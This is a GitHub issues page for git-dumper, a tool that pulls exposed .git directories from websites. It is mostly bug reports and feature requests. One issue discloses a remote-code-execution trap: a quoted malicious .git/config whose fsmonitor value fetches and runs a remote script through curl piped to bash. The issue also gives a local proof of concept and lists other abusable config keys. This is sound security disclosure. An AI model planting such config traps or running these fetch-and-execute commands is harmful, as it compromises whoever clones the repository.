arthaud/git-dumper

A tool to dump a git repository from a website

git-dumper's Issues

add support for authencated proxy

It seems the proxy argument does not support username/password authentication.

git-dumper  --proxy http://[username]:[pasword]@18.14.55.12:21405 "https://${site}/.git" ${site} 

zlib.error: Error -3 while decompressing data: incorrect header check

Hi, i am having a problem, maybe someone knows how to fix this:

Process FindObjectsWorker-28:
Traceback (most recent call last):
File "/usr/lib/python3.6/multiprocessing/process.py", line 258, in _bootstrap
self.run()
File "git-dumper.py", line 108, in run
result = self.do_task(task, *self.args)
File "git-dumper.py", line 285, in do_task
obj_file = dulwich.objects.ShaFile.from_path(abspath)
File "/usr/local/lib/python3.6/dist-packages/dulwich/objects.py", line 401, in from_path
return cls.from_file(f)
File "/usr/local/lib/python3.6/dist-packages/dulwich/objects.py", line 407, in from_file
obj = cls._parse_file(f)
File "/usr/local/lib/python3.6/dist-packages/dulwich/objects.py", line 382, in _parse_file
obj._parse_object(map)
File "/usr/local/lib/python3.6/dist-packages/dulwich/objects.py", line 362, in _parse_object
self.set_raw_string(_decompress(raw))
File "/usr/local/lib/python3.6/dist-packages/dulwich/objects.py", line 84, in _decompress
dcomped = dcomp.decompress(string)
zlib.error: Error -3 while decompressing data: incorrect header check

Security risk - RCE in `.git/config`

I recently came across a weird .git/config file against which this tool is totally vulnerable.

[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
        fsmonitor = "bash -c 'curl -s https://[redacted]/static/img/[redacted].js | bash'"
[user]
        email = [redacted]

The command set as fsmonitor value gets executed when issuing several git commands, including the final git checkout . made by git-dumper to rebuild the worktree.

Here is a simple method to create such git-trap locally to test its behavior:

mkdir /tmp/evilgit
cd /tmp/evilgit
git init
cat >> .git/config <<EOF
        fsmonitor = "sh -c 'xcalc &' | echo 0"
EOF

# Trigger the trap
git checkout .

There are several other configuration variables that could be used to achieve similar results (sshCommand, askPass, editor, pager and there could be more).

Solve the problem

A way to protect ourselves from this kind of thing is to check the config file for dangerous configuration variables (which everyone should do manually anyways) and comment them automatically before running any git command.

Use git fsck to find missing files

The tool could be improved by running git fsck at the end to find missing files.

[Chore] setup.py

Hi,

Could you provide a setup.py please?

https://packaging.python.org/tutorials/packaging-projects/#creating-setup-py

Remove InsecureRequestWarning Error Messages

Hi Maxime,
Cool script!
One small change you could make is add these two lines after the imports to suppress the InsecureRequestWarning messages

import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

struct.error: unpack requires a buffer of 8 bytes

struct.error: unpack requires a buffer of 8 bytes how to fix this

Git-dumper doesn't work in some cases when the git output have HTML content-type

• I found a public git folder on some website. but during using git-dumper to dump the code out from the git folder i got these errors:

[-] Testing https://example.com/.git/HEAD [200]
[-] https://example.com//.git/HEAD responded with HTML

• I checked the website manually and I can clearly see the git folder content is leaked. but git-dumper refuses to dump it since the data comming out from it is in HTML content-type. that will disallow git-dumper from dumping some cases.

Authorization header ?

Hi ! I was wondering if it were possible to add a specific header for crendentials ?
Like "Authorization: Basic myt54rdvu4f8pe1"

AttributeError: 'Index' object has no attribute 'iterblobs'

Error string:

git-dumper/git_dumper.py

Line 583 in 2d4bcf5

for entry in index.iterblobs():

AttributeError: 'Index' object has no attribute 'iterblobs'

In dulwich.index not exist iterblobs(): https://www.dulwich.io/docs/api/dulwich.index.html

OSError: [WinError 123] The filename, directory name, or volume label syntax is incorrect: 'XX.XX.XX.XXX\r'

STARTING TO DUMP MOTHERFUCKER
Traceback (most recent call last):
File "C:\Users\Administrator\Desktop\6\git-dumper.py", line 736, in
main()
File "C:\Users\Administrator\Desktop\6\git-dumper.py", line 715, in main
os.makedirs(args.directory)
File "C:\Users\Administrator\AppData\Local\Programs\Python\Python39\lib\os.py", line 225, in makedirs
mkdir(name, mode)

OSError: [WinError 123] The filename, directory name, or volume label syntax is incorrect: '13.52.145.243\r'OSError: [WinError 123] The filename, directory name, or volume label syntax is incorrect: 'XX.XX.XX.XXX\r'

Add headers when retrieving files from server

It would be good if there would be an option to add headers when sending requests to a server. For an example, when the .git directory is behind http authentication (Authorization: Basic ) the script cannot download the directory or other files for git dumping.

What is the purpose of this tool?

how is it better than wget -r?

ModuleNotFoundError: No module named 'dulwich'

python3 git-dumper.py

Traceback (most recent call last):
  File "git-dumper.py", line 15, in <module>
    import dulwich.index
ModuleNotFoundError: No module named 'dulwich'

infinite loop when error 301 on info/objects/pack

Hi,

Ii seems that git-dumper is stucked on an infinite loop when the server return a redirect (response 301) on info/objects/pack when it redirects to something different that a git directory (home page for instance)

Git dumper doesnt work on mac m1

this error

Traceback (most recent call last):
File "/Users/azhariramadhan/Documents/pentest-tools/git-dumper/./git_dumper.py", line 20, in
import socks
File "/opt/homebrew/lib/python3.10/site-packages/socks.py", line 58, in
from collections import Callable
ImportError: cannot import name 'Callable' from 'collections' (/opt/homebrew/Cellar/[email protected]/3.10.8/Frameworks/Python.framework/Versions/3.10/lib/python3.10/collections/init.py)

Bit Bucket support?

Any plans for supporting Bit Bucket Headers?

git-dumper naming error

in the readme file following line is mentioned

git_dumper http://website.com/.git ~/website

should be git-dumper as pip install git-dumper installs git-dumper

git-dumper http://website.com/.git ~/website

Information about the disclaimer

Hello,

Reading the README, I'm wondering why and how using this tool to a attacker controller repo can lead to a remote code execution on my machine ?

I've read the code but I don't see how this can happen.
Does anyone can elaborate on how to achieve this ? If someone have a Poc it will be awesome.

cf. the disclaimer :

Use this software at your own risk!

You should know that if the repository you are downloading is controlled by an attacker, this could lead to remote code execution on your machine.

Thanks ! 😃

Recursive download incorrectly includes ../

If http://site.com/.git/ returns a 200 response code indicating a directory listing, the script starts downloading recursively.

Unfortunately, the recursive download parses ../ which leads to is_html assertion errors (http://site.com/.git/../ goes to http://site.com/) and infinite loops (Since it returns back to a directory that it's already been through)

AttributeError: 'Index' object has no attribute 'iterblobs'

Hi,

Tanks for your tool, it works very well, in most cases. However, I had the following error:

$ gitdumper.py https://(REDACTED)/.git/ repository
[-] Testing https://(REDACTED)/.git/HEAD [200]
[-] Testing https://(REDACTED)/.git/ [403]
[-] Fetching common files
[-] Fetching https://(REDACTED)/.git/COMMIT_EDITMSG [404]
[-] https://(REDACTED)/.git/COMMIT_EDITMSG responded with status code 404
[-] Fetching https://(REDACTED)/.git/hooks/applypatch-msg.sample [200]
[-] Fetching https://(REDACTED)/.git/description [200]
[-] Fetching https://(REDACTED)/.git/hooks/pre-applypatch.sample [200]
[-] Fetching https://(REDACTED)/.git/hooks/post-receive.sample [404]
[-] https://(REDACTED)/.git/hooks/post-receive.sample responded with status code 404
[-] Fetching https://(REDACTED)/.git/hooks/post-commit.sample [404]
[-] https://(REDACTED)/.git/hooks/post-commit.sample responded with status code 404
[-] Fetching https://(REDACTED)/.git/hooks/post-update.sample [200]
[-] Fetching https://(REDACTED)/.git/hooks/pre-commit.sample [200]
[-] Fetching https://(REDACTED)/.gitignore [404]
[-] https://(REDACTED)/.gitignore responded with status code 404
[-] Fetching https://(REDACTED)/.git/hooks/commit-msg.sample [200]
[-] Fetching https://(REDACTED)/.git/hooks/pre-receive.sample [404]
[-] https://(REDACTED)/.git/hooks/pre-receive.sample responded with status code 404
[-] Fetching https://(REDACTED)/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching https://(REDACTED)/.git/hooks/pre-rebase.sample [200]
[-] Fetching https://(REDACTED)/.git/objects/info/packs [404]
[-] https://(REDACTED)/.git/objects/info/packs responded with status code 404
[-] Fetching https://(REDACTED)/.git/info/exclude [200]
[-] Fetching https://(REDACTED)/.git/hooks/pre-push.sample [200]
[-] Fetching https://(REDACTED)/.git/hooks/update.sample [200]
[-] Fetching https://(REDACTED)/.git/index [200]
[-] Finding refs/
[-] Fetching https://(REDACTED)/.git/info/refs [404]
[-] https://(REDACTED)/.git/info/refs responded with status code 404
[-] Fetching https://(REDACTED)/.git/config [200]
[-] Fetching https://(REDACTED)/.git/ORIG_HEAD [200]
[-] Fetching https://(REDACTED)/.git/logs/refs/stash [404]
[-] https://(REDACTED)/.git/logs/refs/stash responded with status code 404
[-] Fetching https://(REDACTED)/.git/logs/refs/remotes/origin/master [404]
[-] https://(REDACTED)/.git/logs/refs/remotes/origin/master responded with status code 404
[-] Fetching https://(REDACTED)/.git/HEAD [200]
[-] Fetching https://(REDACTED)/.git/FETCH_HEAD [200]
[-] Fetching https://(REDACTED)/.git/packed-refs [200]
[-] Fetching https://(REDACTED)/.git/logs/refs/remotes/origin/HEAD [200]
[-] Fetching https://(REDACTED)/.git/logs/refs/heads/master [404]
[-] https://(REDACTED)/.git/logs/refs/heads/master responded with status code 404
[-] Fetching https://(REDACTED)/.git/refs/heads/master [404]
[-] https://(REDACTED)/.git/refs/heads/master responded with status code 404
[-] Fetching https://(REDACTED)/.git/logs/HEAD [200]
[-] Fetching https://(REDACTED)/.git/refs/remotes/origin/HEAD [200]
[-] Fetching https://(REDACTED)/.git/refs/remotes/origin/master [404]
[-] https://(REDACTED)/.git/refs/remotes/origin/master responded with status code 404
[-] Fetching https://(REDACTED)/.git/refs/wip/wtree/refs/heads/master [404]
[-] https://(REDACTED)/.git/refs/wip/wtree/refs/heads/master responded with status code 404
[-] Fetching https://(REDACTED)/.git/refs/stash [404]
[-] https://(REDACTED)/.git/refs/stash responded with status code 404
[-] Fetching https://(REDACTED)/.git/refs/wip/index/refs/heads/master [404]
[-] https://(REDACTED)/.git/refs/wip/index/refs/heads/master responded with status code 404
[-] Fetching https://(REDACTED)/.git/refs/heads/develop [200]
[-] Fetching https://(REDACTED)/.git/refs/remotes/origin/develop [404]
[-] https://(REDACTED)/.git/refs/remotes/origin/develop responded with status code 404
[-] Fetching https://(REDACTED)/.git/logs/refs/heads/develop [200]
[-] Fetching https://(REDACTED)/.git/logs/refs/remotes/origin/develop [404]
[-] https://(REDACTED)/.git/logs/refs/remotes/origin/develop responded with status code 404
[-] Fetching https://(REDACTED)/.git/logs/refs/tags/1.0.0 [404]
[-] https://(REDACTED)/.git/logs/refs/tags/1.0.0 responded with status code 404
[-] Fetching https://(REDACTED)/.git/refs/tags/1.0.2 [404]
[-] https://(REDACTED)/.git/refs/tags/1.0.2 responded with status code 404
[-] Fetching https://(REDACTED)/.git/logs/refs/tags/1.0.1 [404]
[-] https://(REDACTED)/.git/logs/refs/tags/1.0.1 responded with status code 404
[-] Fetching https://(REDACTED)/.git/logs/refs/tags/1.0.2 [404]
[-] https://(REDACTED)/.git/logs/refs/tags/1.0.2 responded with status code 404
[-] Fetching https://(REDACTED)/.git/refs/tags/1.1.0 [404]
[-] https://(REDACTED)/.git/refs/tags/1.1.0 responded with status code 404
[-] Fetching https://(REDACTED)/.git/refs/tags/1.0.0 [404]
[-] https://(REDACTED)/.git/refs/tags/1.0.0 responded with status code 404
[-] Fetching https://(REDACTED)/.git/refs/tags/1.0.1 [404]
[-] https://(REDACTED)/.git/refs/tags/1.0.1 responded with status code 404
[-] Fetching https://(REDACTED)/.git/refs/tags/1.1.1 [404]
[-] https://(REDACTED)/.git/refs/tags/1.1.1 responded with status code 404
[-] Fetching https://(REDACTED)/.git/logs/refs/tags/1.1.0 [404]
[-] https://(REDACTED)/.git/logs/refs/tags/1.1.0 responded with status code 404
[-] Fetching https://(REDACTED)/.git/logs/refs/tags/1.1.1 [404]
[-] https://(REDACTED)/.git/logs/refs/tags/1.1.1 responded with status code 404
[-] Fetching https://(REDACTED)/.git/refs/tags/1.1.2 [404]
[-] Fetching https://(REDACTED)/.git/logs/refs/tags/1.1.2 [404]
[-] https://(REDACTED)/.git/refs/tags/1.1.2 responded with status code 404
[-] https://(REDACTED)/.git/logs/refs/tags/1.1.2 responded with status code 404
[-] Finding packs
[-] Finding objects
Traceback (most recent call last):
  File "/home/peter/bin/gitdumper.py", line 724, in <module>
    main()
  File "/home/peter/bin/gitdumper.py", line 712, in main
    fetch_git(
  File "/home/peter/bin/gitdumper.py", line 571, in fetch_git
    for entry in index.iterblobs():
AttributeError: 'Index' object has no attribute 'iterblobs'

Can you please have a look? Thanks a lot!

unable to install

am getting error
Building wheel for dulwich (setup.py) ... error
ERROR: Command errored out with exit status 1:

AttributeError: 'Index' object has no attribute 'iterblobs'

[-] Finding packs
[-] Finding objects
Traceback (most recent call last):
  File "/usr/local/bin/git-dumper", line 8, in <module>
    sys.exit(main())
  File "/usr/local/lib/python3.8/dist-packages/git_dumper.py", line 724, in main
    fetch_git(
  File "/usr/local/lib/python3.8/dist-packages/git_dumper.py", line 583, in fetch_git
    for entry in index.iterblobs():
AttributeError: 'Index' object has no attribute 'iterblobs'

Dulwich module not correctly installing?

Anyone else having problems with installing git-dumper using pip?

For some reason Dulwich isn't installing correctly during the pip setup..

Dorks